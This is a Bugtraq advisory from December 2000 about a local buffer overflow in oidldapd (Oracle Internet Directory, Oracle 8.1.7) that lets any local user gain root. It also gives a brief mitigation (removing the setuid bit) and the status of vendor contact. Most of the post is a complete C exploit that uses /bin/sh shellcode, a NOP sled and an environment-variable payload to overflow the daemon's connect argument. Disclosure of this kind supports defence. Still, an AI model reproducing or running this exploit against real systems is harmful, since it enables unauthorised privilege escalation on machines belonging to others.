[18282] in bugtraq
vulnerability #1 in Oracle Internet Directory 2.1.1.1 in Oracle
daemon@ATHENA.MIT.EDU (Juan Manuel Pascual Escriba)
Thu Dec 21 14:13:56 2000
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Message-ID: <3A41E8E3.E4D3385@plazasite.com>
Date: Thu, 21 Dec 2000 12:26:27 +0100
Reply-To: pask@PLAZASITE.COM
From: Juan Manuel Pascual Escriba <pask@PLAZASITE.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
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WWW.PLAZASITE.COM
System & Security Division
Title: Vulnerability in oidldapd in Oracle 8.1.7
Date: 10-12-2000
Platform: Only tested in Linux, but can be exported to others.
Impact: Any user gain euid=root.
Author: Juan Manuel Pascual (pask@plazasite.com)
Status: Vendor Contacted answers received. Details Below
OVERVIEW:
oidldapd is a Oracle Internet Directory. Oracle Ldap Daemon. The
actual version is 2.1.1.1
PROBLEM SUMMARY:
There is a buffer overflow in oidldapd that can be use by local
users to obtain euid of root user. Easy for user oracle.
IMPACT:
Any user with local access, can gain euid= root.
SOLUTION:
Chmod -s ;-)))).
STATUS:
Vendor was contacted 10-Dec-2000. They point me to metalink site
then all to metalink site ;-)
----------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask@plazasite.com
--
" In God We trust, Others We monitor "
-------------------------------------------------------------
Juan Manuel Pascual Escribá Administrador de Sistemas
PlazaSite S.A. c/ Tomás Bretón 32-38
08950 Esplugues de Llobregat (Barcelona), SPAIN
Ph: +34 93 3717398 Fax: +34 93 3711968
mob: 667591142 Email: pask@plazasite.com
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name="oidldapd-8.1.7.c"
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filename="oidldapd-8.1.7.c"
/*
Exploit Code for oidldapd in Oracle 8.1.7 (8ir3) for Linux. I tested in RH 6.2
and 6.1.
synopsis: buffer overflow in oidldapd
impact: any local user gain euid=root.
Dedicated to my mentors. Cra & Borja. Thanks for your knowledge and wisdom.
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_OFFSET -400
#define DEFAULT_BUFFER_SIZE 700
#define NOP 0x90
#define ORACLE_HOME "/work/oracle8ir3"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,*name[3],environ[100],binary[120];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
buff = malloc(bsize);
addr = get_sp() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
putenv(environ);
sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
system(binary);
}
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